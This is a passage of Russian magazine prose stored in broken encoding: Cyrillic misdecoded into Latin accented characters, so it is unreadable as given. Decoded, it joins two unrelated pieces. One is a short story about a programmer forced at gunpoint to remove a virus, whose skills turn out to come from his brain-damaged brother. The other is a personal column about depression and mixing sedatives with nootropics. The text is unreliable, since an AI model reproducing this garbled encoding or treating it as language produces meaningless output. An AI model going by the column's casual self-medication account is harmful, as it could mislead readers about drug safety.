êðèêîâ â îêíî, ïîïûòîê ïîáåãà è ïðî÷åé åðóíäû. Íå âñå òàê ñòðàøíî,
êàê âû äóìàåòå. Ñ÷èòàéòå, ÷òî ó ìåíÿ ê âàì äåëî. Äåëî, äëÿ êîòîðîãî
ìíå íóæåí èìåííî âàø êîìïüþòåð è âû ñàìè. Ìíå ïîíàäîáÿòñÿ âàøè
íàâûêè ïðîãðàììèñòà è åùå êîå-÷òî. Î âàøèõ óñïåõàõ íà õàêåðñêîé
íèâå ÿ òîæå íàñëûøàí íåìàëî. Âû ó÷àñòâóåòå â çàùèòå ñåòè âàøåãî
èíñòèòóòà îò âíåøíèõ âòîðæåíèé, äàæå ñîçäàëè êàêóþ-òî ïðîãðàììó
äëÿ ýòîé öåëè?
— Äà, — êèâíóë Êîáçàðü, íàïðàâëÿÿñü â êîìíàòó. — Íàïèñàë… 
Åñòü òàêîå…
— Ñêàæèòå, à ñåãîäíÿ ïî ãðàôèêó ê âàì êòî ïðèõîäèò — Ìàðèíà? Èëè
Ëþäà? Âðîäå áû çà÷åòû çàêîí÷èëèñü, òàê ÷òî ó Ìàðèíû ïîâîäà ïîÿâ-
ëÿòüñÿ çäåñü áîëüøå íåò…
— Âû ñëåäèëè çà ìíîé? — Íèêèòà îñòàíîâèëñÿ è ãíåâíî ïîñìîòðåë íà
íåçíàêîìöà.
— Äà, à ÷òî â ýòîì ïðåäîñóäèòåëüíîãî? — òîò â îòâåò íàèâíî óëûáíóë-
ñÿ è ðàçâåë ðóêàìè. — Íè÷åãî — à òî÷íåå ñêàçàòü, ðîâíî ñòîëüêî æå,
ñêîëüêî â çà÷åòàõ ÷åðåç ïîñòåëü… Íå áîéòåñü, ÿ íå ñîîáùó âàøåìó
íà÷àëüñòâó. Ýòî âîïðîñ, íå ñòîÿùèé âûåäåííîãî ÿéöà.

Êîáçàðü ïðèùóðèë ãëàçà, ïîåäàÿ âîøåäøèõ ê íåìó ëþäåé âçãëÿäîì.
— Ñåãîäíÿ íèêòî íå ïðèäåò, — ñêâîçü çóáû ñêàçàë îí. — Íå çàïëàíèðî-
âàíî. À íàñ÷åò Ìàðèíû — òóò âû ïðàâû. ß ñàì òàê äóìàë ïîíà÷àëó —
à òåïåðü è âïðÿìü óâåðèëñÿ â ýòîì. Øëþõà… Äà åùå áåçäàðíàÿ. Âî âñåì.
— Íó, âû-òî õîòü ïîðàäóåòå ñâîåé îäàðåííîñòüþ? — íåçíàêîìåö ñïðî-
ñèë âíåçàïíî è ïðÿìî â ëîá. Òîí åãî ðàçãîâîðà âíåçàïíî ðåçêî èçìå-
íèëñÿ — ñòàë æåñòêèì, ìåòàëëè÷åñêèì. Âîïðîñ ìîæíî áûëî ðàñöåíèòü
êàê ïðèêàç — Íèêèòà ýòî ïî÷óâñòâîâàë ñðàçó æå.

Îíè âîøëè â êîìíàòó; òîò, êòî äåðæàë Íèêèòó íà ïðèöåëå, áûñò-
ðî ïðîøåëñÿ ïî âñåì óãëàì, çàãëÿíóë â øêàô ñ îäåæäîé, âûäåðíóë òå-
ëåôîííûé øíóð èç ðîçåòêè, îñìîòðåë ñòåíû, âûãëÿíóë â îêíî, ïîòîì
ïîâåðíóëñÿ è ìîë÷à êèâíóë.
— Ïðîøó çà êîìïüþòåð.

Êîáçàðü ïîä÷èíèëñÿ. Ñåâ â êðåñëî, ïîñòàðàëñÿ óñïîêîèòüñÿ, íî
åìó ýòî óäàëîñü ìåíüøå ÷åì íàïîëîâèíó. Ïàëüöû íåðâíî ïîñòóêèâàëè
ïî ïîäëîêîòíèêàì, îäíà íîãà ñòó÷àëà ïî ïîëó. Íåçíàêîìåö îòìåòèë
âñå ýòî, óëûáíóëñÿ.
— Âû ãîòîâû?
— Ê ÷åìó?
— Ê ïðîâåðêå. Ê ñåðüåçíîé ïðîâåðêå.
— Ïî êàêîìó ïîâîäó ïðîâåðêà?

×åëîâåê ïîäîøåë ê íåìó âïëîòíóþ, íàêëîíèëñÿ è òèõî ñêàçàë:
— Ïî ïîâîäó ñîìíåíèé â âàøåé ïðîôåññèîíàëüíîé ïðèãîäíîñòè.
— Âû èç êàêîé-òî ñåêðåòíîé ñëóæáû? — âöåïèëñÿ ðóêàìè â êðåñëî
Êîáçàðü. — Ñêîëüêî æå ìîæíî ïðîâåðÿòü ñîòðóäíèêîâ?! Äà, èíñòèòóò
íàøåé íàïðàâëåííîñòè íå ìîæåò íàõîäèòüñÿ âíå èãðû, íî ïðèñûëàòü
àãåíòîâ äîìîé — ýòî óæå ÷åðåñ÷óð! Âû ïîäðûâàåòå ìîé àâòîðèòåò è
ìîå äîâåðèå ðóêîâîäñòâó!
— Íå áóäåì ïðîäîëæàòü ýòîò äèàëîã. ×åì îí êîðî÷å, òåì áûñòðåå âñå
âñòàíåò íà ñâîè ìåñòà. Èòàê — âû íà ñâîåì ìåñòå, çà ñâîèì êîìïüþòå-
ðîì, âû ñïîêîéíû?
— ß ñîâåðøåííî ñïîêîåí! — ÷óòü ëè íå êðèêíóë Íèêèòà.
— Â òàêîì ñëó÷àå ó âàñ åñòü ïÿòíàäöàòü ìèíóò äëÿ ðåøåíèÿ ïðîñòîé
çàäà÷è. ß ñòàâëþ âàì óñëîâèå — âû äóìàåòå è äåëàåòå. ×åðåç ïÿòíàä-
öàòü ìèíóò ó âàñ äâà âûõîäà. Åñëè ó âàñ âñå ïîëó÷àåòñÿ, è ðåçóëüòàò
ìåíÿ óäîâëåòâîðÿåò — âû îñòàåòåñü â æèâûõ, ÿ ïðåäëàãàþ âàì ðàáîòó
è äåíüãè, êîòîðûõ âû íèêîãäà íå óâèäèòå â ñâîåì ÍÈÈ. Â ïðîòèâíîì
ñëó÷àå âàñ çàñòðåëÿò.
— Âû ñîøëè ñ óìà! — åäâà íå ïîäïðûãíóë â êðåñëå Íèêèòà, óñëûøàâ
ïîäîáíûé ðàñêëàä. — ×òî ýòî çà ïðîñòàÿ çàäà÷à, öåíà ðåøåíèÿ êîòî-
ðîé — ÷åëîâå÷åñêàÿ æèçíü?
— Âîò îíà, ýòà ñàìàÿ çàäà÷à, — ÷åëîâåê äîñòàë èç âíóòðåííåãî êàðìà-
íà ïèäæàêà äèñê. — Ìåíÿ óãîñòèëè âèðóñîì. Ìåíÿ è âñþ ìîþ… Ñêà-
æåì òàê, ñëóæáó. Âèðóñ è ÷àñòü äîêóìåíòàöèè, èì çàðàæåííîé —
çäåñü. Íåéòðàëèçóéòå âèðóñ, âåðíèòå èíôîðìàöèþ — è âû îñòàíåòåñü
æèâû. Âîò äèñê, âîò ÷àñû. Âïåðåä.

È îí ïðèñåë íà äèâàí. Íèêèòà ñìîòðåë íà äèñê, ëåæàùèé íà ñòî-
ëå ïåðåä íèì è ÷óâñòâîâàë, êàê òðÿñåòñÿ åãî íèæíÿÿ ãóáà.
— Âðåìÿ èäåò, — òèõî íàïîìíèë íåçíàêîìåö. — È åãî õîä ñåé÷àñ ÿâ-
íî âàì íå íà ðóêó. Íå ñïèòå, äóìàéòå. Âåäü åñëè áû ÿ ñàì ÷òî-íèáóäü
â ýòîì ïîíèìàë, ðàçâå ÿ ïðèøåë áû ê âàì? Ñïàñèòå äèëåòàíòà — è
îí îòáëàãîäàðèò âàñ!
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Êîáçàðü ïðèñòàëüíî ïîñìîòðåë íà íåãî, ïîòîì íà ÷åëîâåêà âîçëå
îêíà, âíèìàòåëüíî íàáëþäàâøåãî çà âñåì, ÷òî ïðîèñõîäèò â êîìíàòå è
íà óëèöå, ïîñëå ÷åãî ñõâàòèë äèñê ñî ñòîëà è âñòàâèë â ïðèâîä. ×åëî-
âåê íà äèâàíå íåçàìåòíî óëûáíóëñÿ…

Ïðîøëî íåñêîëüêî ìèíóò. Íèêèòà âðåìåíàìè ùåëêàë ïî êëàâè-
øàì, âçúåðîøèâàë âîëîñû íà ãîëîâû è çàêàòûâàë ãëàçà ê ïîòîëêó. Âñå
ýòî íàïîìèíàëî êàäðû èç êàêîãî-òî ãîëëèâóäñêîãî áîåâèêà, â êîòîðîì
òèíåéäæåðû íà ñïîð âçëàìûâàþò áàçû äàííûõ ÖÐÓ. Áîðìî÷à ÷òî-òî
ñåáå ïîä íîñ, îí èçðåäêà îãëÿäûâàëñÿ è ïîñìàòðèâàë íà òåõ, êòî ñëå-
äèë ñåé÷àñ çà íèì. Íàèáîëüøåå æå åãî âíèìàíèå ïðèêîâûâàëè ïèñòî-
ëåò è ÷àñû íà ñòåíå.

Ïîñòåïåííî êëàâèøè ïîñòóêèâàëè âñå ðåæå. Íèêèòà ïîêà÷èâàë
ãîëîâîé è ïîëíîñòüþ ïîãðóçèëñÿ â ïðîöåññ. Ïÿòíàäöàòü ìèíóò, îòïó-
ùåííûå åìó íà ðåøåíèå çàäà÷è, ïîäõîäèëè ê êîíöó…
— Ãîòîâî! — ðàäîñòíî êðóòàíóëñÿ îí â êðåñëå. — Ïîëó÷èòå ñâîé äèñê
è äîêóìåíòû! Ïðîâåðÿëüùèêè, ÷åðò áû âàñ ïîáðàë! È ïóñòü ïèñòîëåò
ñâîé ñïðÿ÷åò!
— Ãîòîâî? Íå äóìàþ, — ÷åëîâåê âñòàë ñ äèâàíà, ïîäîøåë ïîáëèæå. —
Áîëüøå âñåãî íà ñâåòå ÿ íå ëþáëþ ëîæü è íåïðîôåññèîíàëîâ. À óæ åñ-
ëè âñå ýòî ñî÷åòàåòñÿ â îäíîì ÷åëîâåêå — òóò ÿ ïðîñòî âíå ñåáÿ…
— ×òî âû èìååòå â âèäó?! — Êîáçàðü âñòàë, íî òóò æå îïóñòèëñÿ íàçàä,
óâèäåâ íàïðàâëåííûé íà íåãî ñòâîë. — ß âñå ñäåëàë! Âñå! Íàøåë ýòîò
âàø âèðóñ, âû÷èñòèë åãî, çàäà÷êà äëÿ ïåðâîêëàññíèêîâ!
— Íåò, âñå íå òàê ïðîñòî. Âèðóñ, êîòîðûé áûë íà äèñêå, íàïèñàí ñå-
ãîäíÿ. Îäíèì èç î÷åíü è î÷åíü ñåðüåçíûõ âèðóñìåéêåðîâ. Îí íåèç-
âåñòåí íà íàñòîÿùèé ìîìåíò íè îäíîìó àíòèâèðóñó. Ïîä÷åðêè-
âàþ — íè îäíîìó. Ïîýòîìó — ñîçäàòü îðóæèå ïðîòèâ íåãî çà ïÿò-
íàäöàòü ìèíóò íåâîçìîæíî. Ñëèøêîì ñëîæíûé àëãîðèòì ïðèìåíÿë-
ñÿ äëÿ åãî ñîçäàíèÿ — ïîâåðüòå ìíå. ß ïðåäñòàâèëñÿ âàì äèëåòàí-
òîì, íî ýòî íå òàê. Íå âñå òàê ïëîõî, êàê âû äóìàåòå. Êîíå÷íî, ÿ íå
âëàäåþ êîìïüþòåðîì íàñòîëüêî, ÷òîáû áåñïðåïÿòñòâåííî ïðîíèêàòü
âåçäå è âñþäó…
— Åñëè êòî-òî ñîçäàë âèðóñ — çíà÷èò, åñòü ÷åëîâåê, ñïîñîáíûé åãî
îáåçâðåäèòü! — Íèêèòà ïî÷òè êðè÷àë. — Íà ëþáîå äåéñòâèå âñåãäà
åñòü ïðîòèâîäåéñòâèå, ýòî çàêîí, êîòîðûé íèêòî íå ñìîæåò îòìåíèòü!
— ß è íå îòìåíÿþ. Íî âû íå Áîã.

Îí âûíóë èç êàðìàíà ñîòîâûé òåëåôîí, ïðî÷èòàë ïðèøåäøåå ñî-
îáùåíèå. Ïîòîì ïîäíÿë ãëàçà íà Êîáçàðÿ.
— Èíòåðåñíàÿ âåùü ïîëó÷àåòñÿ… Ñêàæèòå, çà÷åì âàì áûëî íóæíî âû-
õîäèòü â èíòåðíåò, ÷òîáû îáåçâðåäèòü âèðóñ íà ëîêàëüíîì êîìïüþòå-
ðå? Äóìàþ, ÷òî íåçà÷åì. È ïðè ýòîì âàø òðàôèê çà ïîñëåäíèå ïÿòíàä-
öàòü ìèíóò ïðåâûñèë îáúåì, êîòîðûé âû îáû÷íî èñïîëüçóåòå çà äâå
íåäåëè. Âû íå íàõîäèòå ýòî ñòðàííûì?
— Íåò, — áóðêíóë Íèêèòà. — Âû îáëîæèëè ìåíÿ ñî âñåõ ñòîðîí.
Çà÷åì?
— Áûëà íåîáõîäèìîñòü. À ñêàçàòü «ñî âñåõ ñòîðîí» — çíà÷èò íè÷åãî
íå ñêàçàòü. Â ïîñëåäíåå âðåìÿ â âàøó æèçíü âîøëè íåñêîëüêî ëþäåé,
êîòîðûå èçó÷èëè âàñ äîñòàòî÷íî ïîäðîáíî. Ìîãó íàçâàòü äâîèõ —
ýëåêòðèê, ÷òî áûë çäåñü íà äíÿõ, è ÷åëîâåê, êîòîðûé ñáèë âàñ íà ïåøå-
õîäíîì ïåðåõîäå…
— Ýòî áûëè ïîäñòàâû?!
— Òî÷íî. Îòëè÷íûé òåðìèí. Â ÿáëî÷êî. À ñàìîé áîëüøîé ïîäñòàâîé
áûë òîò ñàìûé äèñê, ÷òî âû òîëüêî ÷òî âûíóëè èç ïðèâîäà. Òàì áûë âè-
ðóñ, êîòîðûé ñûãðàë ïðîòèâ âàñ. Òåïåðü âàì íàäî òîëüêî ïðèçíàòü-
ñÿ — êòî âàì ïîìîãàåò?

Â êîìíàòå ïîâèñëà òèøèíà. Ñëûøíî áûëî, êàê òÿæåëî äûøèò Íè-
êèòà, íå îæèäàâøèé òàêîãî ïîâîðîòà ñîáûòèé.
— ß æäó, — òåì âðåìåíåì ÷åëîâåê ïðîäîëæàë ñïðàøèâàòü. — Æäó
ïî îäíîé ïðîñòîé ïðè÷èíå. Ìíå íóæíî, ÷òîáû äëÿ ìåíÿ ñäåëàëè êîå-
êàêóþ ðàáîòó. È ÷òîáû ýòó ðàáîòó ñäåëàë ãåíèé. Âû òàêîâûì íå ÿâ-
ëÿåòåñü.
— Âû ïðåêðàñíî çíàåòå, êòî ÿ, — íàñóïèâøèñü, çëî îòâåòèë Êîá-
çàðü. — Ìîå îáðàçîâàíèå, ìîå ïîëîæåíèå ãîâîðèò ñàìî çà ñåáÿ.
— Âû äîáèëèñü ñâîåãî òåïåðåøíåãî ïîëîæåíèè äàëåêî íå ñâîèìè
ñîáñòâåííûìè ìîçãàìè. Ìåíÿ ñ ñàìîãî íà÷àëà ñìóùàëè äâå âåùè —
òàèíñòâåííîñòü âàøåé ñåìüè è ïàìïåðñû…
— Êàêèå ïàìïåðñû, ïðè÷åì çäåñü îíè?
— Òå ñàìûå, ÷òî âû ïîêóïàåòå â ñðåäíåì ðàç â ïÿòü-øåñòü äíåé. Ïîêó-
ïàåòå è ïðèíîñèòå äîìîé. È ó âàñ íåò äåòåé…
— Èäèòå ê ÷åðòó! — Êîáçàðü ðâàíóëñÿ ñ êðåñëà, íî òû÷îê ïèñòîëåòà
â ãðóäü îñòàíîâèë åãî.
— Íå íàäî äåëàòü ðåçêèõ äâèæåíèé. Ëó÷øå ðàññêàæèòå, êàê âñå ýòî
ðàáîòàåò.
— ×òî?

— Íó… Âàø íàó÷íûé öåíòð, çàïèõàííûé â ïàìïåðñ. Èëè ìû ñ âàìè
âìåñòå ïðîéäåì ñåé÷àñ â äðóãóþ êîìíàòó?

Êîáçàðü ìîë÷àë.
×åëîâåê âñòàë ñ äèâàíà è âûøåë. Ñêðèïíóëà äâåðü…
Íèêèòà ñëåäèë çà ïèñòîëåòîì è íå äåëàë íèêàêèõ ïîïûòîê èäòè

ñëåäîì. Ïîñòåïåííî åãî ãëàçà çàêðûëèñü, áûëî âèäíî, ÷òî îí â øîêå
îò òîãî, ÷òî ñåé÷àñ ïðîèñõîäèò. Ìóæ÷èíà ñ ïèñòîëåòîì íè íà ñåêóíäó
íå ðàññëàáëÿëñÿ — âïîëíå ìîãëî îêàçàòüñÿ, ÷òî âíåøíîñòü Êîáçàðÿ
îáìàí÷èâà. Âíåøíå Íèêèòà ïðîèçâîäèë âïå÷àòëåíèå ÷åëîâåêà ôèçè-
÷åñêè êðåïêîãî, ñïîñîáíîãî îäîëåòü â îäèíî÷íîé ñõâàòêå ñèëüíîãî
ïðîòèâíèêà. Íî ñåãîäíÿ áûë ÿâíî íå åãî äåíü…

Îíè æäàëè âîçâðàùåíèÿ ìèíóò ïÿòíàäöàòü. Çà âñå ýòî âðåìÿ
Êîáçàðü íå ïîøåâåëèëñÿ; òîëüêî äûøàòü ñòàë ðîâíåå, ñïîêîéíåå —
ïîõîæå, îí ñòàðàëñÿ îòêëþ÷èòüñÿ îò ïðîèñõîäÿùåãî. Êîãäà ðàçäàëèñü
øàãè âîçâðàùàþùåãîñÿ ãîñòÿ, îí îòêðûë ãëàçà.

×åëîâåê ìîë÷à âîøåë, ñåë íà ïðåæíåå ìåñòî, îáõâàòèë ðóêàìè
êîëåíè, çàäóìàëñÿ. Íèêèòà ñìîòðåë íà íåãî, íå çàäàâàÿ íèêàêèõ
âîïðîñîâ.
— Åñëè áû íå áèçíåñ… — íà÷àë áûëî ãîñòü, íî îñòàíîâèëñÿ íà ïîëóñ-
ëîâå. ×óâñòâîâàëîñü, ÷òî åìó íå õâàòàåò ñëîâ. Îí ñäåëàë êàêèå-òî íå-
ïîíÿòíûå æåñòû ðóêàìè, ïîòîì îáõâàòèë ãîëîâó è ïðîøåïòàë òî ëè ìî-
ëèòâó, òî ëè ïðîêëÿòèÿ.

Â åãî óñòàõ ýòî çâó÷àëî îäèíàêîâî…
— Êòî ýòî? — íàøåë îí â ñåáå ñèëû ñïðîñèòü ñïóñòÿ íåêîòîðîå âðåìÿ.
— Ìîé áðàò.
— È äàâíî?..
— ×åòûðíàäöàòü ëåò.
— …
— Äàæå íå ïûòàéòåñü íàéòè êîíöû â ýòîì äåëå. Îôèöèàëüíî îí ìåðòâ.
— Êîáçàðü íå ñìîòðåë â ãëàçà — îí ãîâîðèë êóäà-òî â ïîë.
— Ýòî åìó ïðåäíàçíà÷àþòñÿ ïàìïåðñû?
— Êîíå÷íî…
— È âû óõàæèâàåòå çà íèì âñå ýòî âðåìÿ?
— À ÷òî ìíå îñòàåòñÿ äåëàòü? Èçðåäêà ó íåãî ñëó÷àþòñÿ áîëåçíè, ïå-
ðèîäè÷åñêè îòêðûâàþòñÿ ïðîëåæíè — íî ÿ áåç íåãî íè÷òî…
— ß ïîíÿë. È âàøå îáðàçîâàíèå, è âàøè çâàíèÿ è äîëæíîñòè, è äèñ-
ñåðòàöèÿ… Âñå ýòî — òðàôèê, ïðîïóùåííûé ÷åðåç åãî ìîçãè?!
— Äà. Âû æå âèäèòå, ÿ íå ñóìåë ðåøèòü çàäà÷ó, êîòîðóþ âû ìíå äàëè.
À îí ñóìåë — çà ïÿòíàäöàòü ìèíóò.

Ìóæ÷èíà ïîìîë÷àë, ïîòîì ñïðîñèë:
— Íî êòî-òî âåäü ñäåëàë òó óñòàíîâêó, ÷òî ðàáîòàåò ñåé÷àñ ñ åãî ñîç-
íàíèåì?
— Îí ñàì è ñäåëàë. Îí õîòåë âåðíóòüñÿ ê íîðìàëüíîé æèçíè… Ïîêà
åùå ìîã ñàìîñòîÿòåëüíî ÷òî-òî äåëàòü. Èçîáðåòàë, ïðèäóìûâàë…
— À ÷òî ñ íèì?..
— Ìåíèíãèò.
— Ïðîñòî ìåíèíãèò?!
— Íå ïðîñòî. Êîãäà ìèêðîáèîëîãè ñäåëàëè ýêñïåðòèçó, òî âûÿñíèëîñü,
÷òî ýòî êàêîé-òî î÷åíü ñòðàøíûé âèä âèðóñà. Ïðè çàáîëåâàíèè èì âû-
æèâàþò ÷åòûðå ÷åëîâåêà íà ìèëëèîí. Îí âûêàðàáêàëñÿ… À ïîòîì
ó íåãî â ìàøèíå ÷òî-òî ñëó÷èëîñü — è îí áîëüøå íå ìîã æèòü áåç ñèã-
íàëà. Âñå øëî íàïðÿìóþ åìó â ìîçã… À îäíàæäû ìíå ïðèøëî â ãîëî-
âó — ïðîïóñêàòü ÷åðåç íåãî òðàôèê. ×óøü, êîíå÷íî… Îêàçàëîñü — ðà-
áîòàåò. Íî ïîñëå ýòîãî îí óæå ïåðåñòàë õîäèòü, ðàçãîâàðèâàòü. Ïåðåñ-
òàë ìåíÿ óçíàâàòü. È ìíå íå îñòàëîñü íè÷åãî, êðîìå êàê ïîìîãàòü åìó
æèòü è èñïîëüçîâàòü åãî ìîçã ñåáå âî áëàãî. Òàê ÿ è ñòàë òåì, êòî ÿ
åñòü. Òàê ÷òî ÿ íå ñìîãó âûïîëíèòü âàøó ðàáîòó…
— Îí ñìîæåò, — ÷åëîâåê êèâíóë â ñòîðîíó äðóãîé êîìíàòû. — À êîìó
ïëàòèòü äåíüãè — ìíå âñå ðàâíî. Âîò ñóòü çàäà÷è…

Îí ïðîòÿíóë Íèêèòå ëèñòîê áóìàãè. Òîò âíèìàòåëüíî ïðî÷èòàë,
ïðèêóñèë ãóáó, à ïîòîì ïîñìîòðåë íà êíèæíûé øêàô è âçÿë èç íåãî
íåñêîëüêî êíèã. Ïîäóìàë î ÷åì-òî — ñëîâíî
âçâåøèâàë êàæäóþ èç íèõ. Îñòàíîâèëñÿ íà
«Åâãåíèå Îíåãèíå».
— Ïîéäó, ïîäãîòîâëþ åãî…
— À ýòî? — ìóæ÷èíà êèâíóë íà êíèãó.
— Äîïèíã. Ñëó÷àéíî äîãàäàëñÿ. ß ÷èòàþ —
è îí ðàáîòàåò íà ïîðÿäîê áûñòðåå. Êàê ãî-
âîðÿò ñïåöèàëèñòû — îâåðêëîêèíã.
— Íó-íó… — ïîêà÷àë ãîëîâîé ãîñòü. — Äà-
âàéòå… ß áóäó æäàòü çäåñü.

È ÷åðåç ìèíóòó èç ñïàëüíè äîíåñëîñü:
«Ìîé äÿäÿ ñàìûõ ÷åñòíûõ ïðàâèë, êîãäà íå
â øóòêó çàíåìîã…»
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Çàêàí÷èâàëñÿ îäèí èç ñàìûõ ìðà÷-
íûõ ïåðèîäîâ â èñòîðèè ìûùúõà.
Áîëüøå ìåñÿöà çàíèìàëñÿ ÷åðò çíà-
åò ÷åì, íå ðàáîòàë, õîòÿ è êðóòèë
õâîñòîì, íå îòäûõàë. Âñå íà÷àëîñü
ñî çâîíà â óøàõ, êîòîðûé ïðèøåë èç
íèîòêóäà è âìåñòî òîãî, ÷òîáû óéòè
â íèêóäà, ïðî÷íî îáîñíîâàëñÿ â ìî-
åì ìûùúõèíîì ïðîñòðàíñòâå. 

Ïîïûòêè èçáàâèòüñÿ îò íåãî ñ ïî-
ìîùüþ ôåíàçåïàìà è ïèðàöåòàìà
ñíà÷àëà ïîðîäèëè ñîíëèâîñòü, ïîòîì
âñå îïðîòèâåëî, ñòàëî ìðà÷íûì, ïîÿ-
âèëîñü îñîçíàíèå, ÷òî ÷òî-òî òóò íå
òàê, à èäòè íåêóäà. Ñòðåìèòåëüíûé
ïîëåò ââûñü óãàñ êàê áû÷îê â óíèòàçå.

Ñëîâíî êàêàÿ-òà òåìíàÿ ëîïàòü
ïðîøëà ñêâîçü, åäâà íå ðàçðåçàâ ìå-
íÿ íàïîïîëàì. Ðåàëüíî, áûëî î÷åíü
ïëîõî. Èëè ïåðåäîç ôåíàçåïàìà, èëè
ñî÷åòàíèå íîîòðîïèëà ñ ôåíèáóòîì
è ôåçàìîì äàëî ñâîé áóêåò. Ñíà÷àëà
âñå ðàçâèâàëîñü íîðìàëüíî, è íè÷òî
íè÷åãî íå ïðåäâåùàëî. Âíóòðè ìåíÿ
øåâåëèëñÿ êàêîé-òî äðåâíèé äðàêîí,
ñîáèðàþùèéñÿ ðàñêîëîòü ñêîðëóïó
è âîçâðàòèòü äðåâíèõ áîãîâ ê æèçíè.
Òîëüêî âîò ñïàòü ñòàë áåñïîêîéíî:
ïðîñûïàëñÿ íåñêîëüêî ðàç è ïîñëå
íåïðîäîëæèòåëüíîãî åðçàíüÿ ïî ñâî-
åìó òîï÷àíó âíîâü ïðîâàëèâàëñÿ
â ãëóáîêèé êîëîäåö ñíà. Òàê ïðîäîë-
æàëîñü òðè äíÿ. ß ïûòàëñÿ âûðîâ-
íÿòü ãðàôèê ñíà, ÷òîáû îòîñïàòüñÿ
ðàç è íàâñåãäà (íó èëè õîòÿ áû
íà áëèæàéøåå âðåìÿ âïåðåä), òîëüêî
âìåñòî ýòîãî ïðîñíóëñÿ â äâà íî÷è
â ïåðåâîçáóæäåííîì ñîñòîÿíèè ñîç-
íàíèÿ, êîãäà êðåàòèâ òàê è ïðåò, ïðî-
âîðî÷àëñÿ äî òðåõ, çàòåì áîäðî
âñòàë, ïîçàâòðàêàë è íà÷àë êîâûðÿòü
âñÿêèå ìåëêèå äåëà, íî ïîòîì… Còà-
ëà íàêàòûâàòüñÿ ñîíëèâîñòü, îáúÿñ-
íèìàÿ ñáèâøèìñÿ ãðàôèêîì (âåäü

ðàíüøå â ýòî âðåìÿ ìûùúõ ñïàë äè-
êèì ñíîì). Áûñòðî óñèëèâàÿñü,
îíà îáðóøèëàñü íà ìûùúõ'à ñëîâíî
âîëíà, íàêðûâ ìåëêîãî ãðûçóíà ñ ãî-
ëîâîé è õâîñòîì. Ëàïû íå ïîïàäàëè
ïî êëàâèàòóðå, âûáèâàÿ ñîñåäíèå
áóêâû, è âñå ñëîâà âûõîäèëè ñ îøèá-
êàìè, ÷òî âûñàäèëî ìûùúõà íà ãëó-
õóþ èçìåíó ïðîôíåïðèãîäíîñòè.
Ïðèõîäèëîñü ñìîòðåòü íà êëàâèàòó-
ðó, ÷òîáû õîòü ÷òî-òî ïèñàòü. Ñòàëî
òðóäíî âûãîâàðèâàòü ñëîâà, ñêóëàìè
ñâîäèëî ëèöî. Êðèçèñ ïðîäîëæàëñÿ
äâà äíÿ, ïîñëå ÷åãî íà÷àë ïîíåìíîãó
îòñòóïàòü. Íàâûêè áûñòðîé ïå÷àòè
íà òðåòèé äåíü ïîëíîñòüþ âîññòàíî-
âèëèñü, è ìûùúõ ïîãðóçèëñÿ â ìèð
òàéíûõ æåëàíèé èëè, ïîïðîñòó ãîâî-
ðÿ, âíîâü íà÷àë õîäèòü ïî ðàçíûì
ôîðóìàì, àãðåññèâíî òåðåáÿùèì
åãî õâîñò. Êîðî÷å, äîâåë ñåáÿ äî
òðÿñóùèõñÿ ðóê è âÿëîòåêóùåé äåï-
ðåññèè, âûçûâàþùåé îòâðàùåíèå êî
âñåìó âîêðóã.

Òÿæåëóþ ãîòè÷åñêóþ ìóçûêó
ñìåíèëà Ìèëåí Ôàðìåð, è ìûùúõ,
çàêîí÷èâøèé ê äâóì ÷àñàì íî÷è î÷å-
ðåäíóþ íèêîìó íå íóæíóþ ñòàòüþ,
ëåæàë íà òîï÷àíå, íàñëàæäàÿñü îäè-
íî÷åñòâîì — ñâîèì åäèíñòâåííûì
åñòåñòâåííûì ñîñòîÿíèåì, íî çà âðå-
ìÿ ïîñëåäíåé äåïðåññèè, êîãäà
ìûùúõà ìåòàëî, êîëáàñèëî è êðûëî,
îí ïîçíàêîìèëñÿ ñ êó÷åé èíòåðåñíûõ
ëþäåé. Äóøåâíîáîëüíûõ. Õîòÿ ñàì
ñåáÿ òàêîâûì íå ñ÷èòàåò, âî âñÿêîì
ñëó÷àå, ïîêà. Òîëüêî âîò ìûùúõèíûå
äåéñòâèÿ ñòàíîâÿòñÿ âñå ìåíåå è ìå-
íåå àäåêâàòíûìè, è âñå òðóäíåå íà-
õîäèòü îòâåò íà âîïðîñ «à çà÷åì?».
Òàê ÷òî òóò âñå íå òàê ïðîñòî, êàê ýòî
êàæåòñÿ íà ïåðâûé âçãëÿä. À Ñåâåð-
íàÿ Òüìà — ýòî âîîáùå îòäåëüíàÿ
èñòîðèÿ: ïîòðÿñàþùàÿ öåïî÷êà íåâå-
ðîÿòíûõ ñîáûòèé, âåäóùàÿ â… íèêó-
äà. Â î÷åðåäíîå ðàçî÷àðîâàíèå.
Íî âñå ðàâíî èíòåðåñíî, êîãäà ÿ åé
ïîñûëàë ñìñ'êó, îïèñûâàÿ êëóáÿùèé-
ñÿ òóìàí, ñàì íåîæèäàííî âñïîì-
íèë… âñïîìíèë, ÷òî âíóòðè ìûùúõè-
íîãî ñîçíàíèÿ çàêëþ÷åíà öåëàÿ âñå-
ëåííàÿ, ÷òî ýòî íå ïðîñòî êàêàÿ-òî
òàì íîðà. Çâåçäû-òî âåäü ó ìåíÿ

ïî êðàéíåé ìåðå åùå íèêòî íå îòíè-
ìàë,— âîò îíè, ðÿäîì. Ñòîèò òîëüêî
ïðîòÿíóòü ëàïó è âûòàùèòü òåëåñêîï,
ïðåäâàðèòåëüíî ñòðÿõíóâ ñ íåãî ìíî-
ãîâåêîâîé ñëîé ïûëè.

Åñëè êòî-òî è îòíÿë ó ìåíÿ ÷òî-
òî, òî ýòî ÿ ñàì. Ýòî ÿ ñàì çàêëþ÷èë
ñåáÿ â òþðüìó, çàáðàëñÿ â êîëîäåö,
èç êîòîðîãî îäíîé ëèøü ñèëîé æåëà-
íèÿ íå âûáðàòüñÿ. Âñå ê ýòîìó êàòè-
ëîñü, âñå ê ýòîìó øëî. Ê çàìûêàíèþ
â ñåáå. À ýòî óæå ñèìïòîì. Ëàäíî, ðà-
áîòàòü íàäî, à íå âûñàæèâàòüñÿ, ïî
êðàéíåé ìåðå, òàê ìîæíî… à ÷òî,
ñîáñòâåííî ãîâîðÿ, òàê ìîæíî?!
Ñêîëüêî ðàç ïûòàëñÿ çàãíàòü ñåáÿ
â æåñòêèé âðåìåííîé ãðàôèê, ÷òîáû
õîòü êàê-òî óäåðæèâàòüñÿ íà âîëíå
íåîáúÿòíîãî ïîòîêà íåñäåëàííûõ
äåë, íî êàæäûé ðàç ñðûâàëñÿ è ãäå-
òî ñ ìåñÿö íå äåëàë íè õðåíà, ïîñëå
÷åãî, êîíå÷íî æå, âíîâü îòðÿõèâàëñÿ
îò ìåðçîñòåé ñâîåãî âíóòðåííåãî ìè-
